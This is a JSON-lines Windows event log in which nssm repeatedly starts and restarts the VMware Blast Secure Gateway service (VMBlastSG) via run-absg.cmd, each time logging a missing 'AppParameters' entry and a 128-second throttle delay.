{"@timestamp":1646695465404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158192}}
{"@timestamp":1646695593898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158193}}
{"@timestamp":1646695593900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158194}}
{"@timestamp":1646695593901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155176","0"]}}},"module":"Application","provider":"nssm","sequence":158195}}
{"@timestamp":1646695593902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155176","155176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158196}}
{"@timestamp":1646695593918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158197}}
{"@timestamp":1646695593919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158198}}
{"@timestamp":1646695593919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158199}}
{"@timestamp":1646695593920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158200}}
{"@timestamp":1646695722512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158201}}
{"@timestamp":1646695722516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158202}}
{"@timestamp":1646695722517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154820","0"]}}},"module":"Application","provider":"nssm","sequence":158203}}
{"@timestamp":1646695722518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154820","154820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158204}}
{"@timestamp":1646695722535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158205}}
{"@timestamp":1646695722536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158206}}
{"@timestamp":1646695722536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158207}}
{"@timestamp":1646695722537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158208}}
{"@timestamp":1646695851066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158209}}
{"@timestamp":1646695851067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158210}}
{"@timestamp":1646695851068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155448","0"]}}},"module":"Application","provider":"nssm","sequence":158211}}
{"@timestamp":1646695851068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155448","155448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158212}}
{"@timestamp":1646695851086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158213}}
{"@timestamp":1646695851087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158214}}
{"@timestamp":1646695851087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158215}}
{"@timestamp":1646695851088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158216}}
{"@timestamp":1646695979594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158217}}
{"@timestamp":1646695979595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158218}}
{"@timestamp":1646695979595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151928","0"]}}},"module":"Application","provider":"nssm","sequence":158219}}
{"@timestamp":1646695979596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151928","151928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158220}}
{"@timestamp":1646695979613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158221}}
{"@timestamp":1646695979614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158222}}
{"@timestamp":1646695979615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158223}}
{"@timestamp":1646695979616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158224}}
{"@timestamp":1646696108141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158225}}
{"@timestamp":1646696108143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158226}}
{"@timestamp":1646696108144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155388","0"]}}},"module":"Application","provider":"nssm","sequence":158227}}
{"@timestamp":1646696108145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155388","155388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158228}}
{"@timestamp":1646696108163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158229}}
{"@timestamp":1646696108163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158230}}
{"@timestamp":1646696108164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158231}}
{"@timestamp":1646696108165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158232}}
{"@timestamp":1646696236689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158233}}
{"@timestamp":1646696236690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158234}}
{"@timestamp":1646696236690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154064","0"]}}},"module":"Application","provider":"nssm","sequence":158235}}
{"@timestamp":1646696236692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154064","154064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158236}}
{"@timestamp":1646696236711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158237}}
{"@timestamp":1646696236712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158238}}
{"@timestamp":1646696236712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158239}}
{"@timestamp":1646696236713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158240}}
{"@timestamp":1646696365237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158241}}
{"@timestamp":1646696365238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158242}}
{"@timestamp":1646696365239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153920","0"]}}},"module":"Application","provider":"nssm","sequence":158243}}
{"@timestamp":1646696365239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153920","153920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158244}}
{"@timestamp":1646696365256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158245}}
{"@timestamp":1646696365256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158246}}
{"@timestamp":1646696365257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158247}}
{"@timestamp":1646696365258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158248}}
{"@timestamp":1646696493872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158249}}
{"@timestamp":1646696493873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158250}}
{"@timestamp":1646696493874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155520","0"]}}},"module":"Application","provider":"nssm","sequence":158251}}
{"@timestamp":1646696493876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155520","155520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158252}}
{"@timestamp":1646696493893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158253}}
{"@timestamp":1646696493894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158254}}
{"@timestamp":1646696493894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158255}}
{"@timestamp":1646696493895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158256}}
{"@timestamp":1646696622403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158257}}
{"@timestamp":1646696622406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158258}}
{"@timestamp":1646696622409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154784","0"]}}},"module":"Application","provider":"nssm","sequence":158259}}
{"@timestamp":1646696622410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154784","154784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158260}}
{"@timestamp":1646696622430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158261}}
{"@timestamp":1646696622431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158262}}
{"@timestamp":1646696622431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158263}}
{"@timestamp":1646696622432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158264}}
{"@timestamp":1646696750964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158265}}
{"@timestamp":1646696750967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158266}}
{"@timestamp":1646696750968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155024","0"]}}},"module":"Application","provider":"nssm","sequence":158267}}
{"@timestamp":1646696750968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155024","155024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158268}}
{"@timestamp":1646696750986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158269}}
{"@timestamp":1646696750986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158270}}
{"@timestamp":1646696750987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158271}}
{"@timestamp":1646696750988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158272}}
{"@timestamp":1646696880081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158273}}
{"@timestamp":1646696880082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158274}}
{"@timestamp":1646696880082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154864","0"]}}},"module":"Application","provider":"nssm","sequence":158275}}
{"@timestamp":1646696880083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154864","154864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158276}}
{"@timestamp":1646696880100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158277}}
{"@timestamp":1646696880101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158278}}
{"@timestamp":1646696880101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158279}}
{"@timestamp":1646696880102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158280}}
{"@timestamp":1646697008613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158281}}
{"@timestamp":1646697008614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158282}}
{"@timestamp":1646697008614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151180","0"]}}},"module":"Application","provider":"nssm","sequence":158283}}
{"@timestamp":1646697008614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151180","151180","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158284}}
{"@timestamp":1646697008631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158285}}
{"@timestamp":1646697008632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158286}}
{"@timestamp":1646697008632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158287}}
{"@timestamp":1646697008633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158288}}
{"@timestamp":1646697137152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158289}}
{"@timestamp":1646697137153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158290}}
{"@timestamp":1646697137155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155568","0"]}}},"module":"Application","provider":"nssm","sequence":158291}}
{"@timestamp":1646697137156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155568","155568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158292}}
{"@timestamp":1646697137172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158293}}
{"@timestamp":1646697137172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158294}}
{"@timestamp":1646697137173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158295}}
{"@timestamp":1646697137174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158296}}
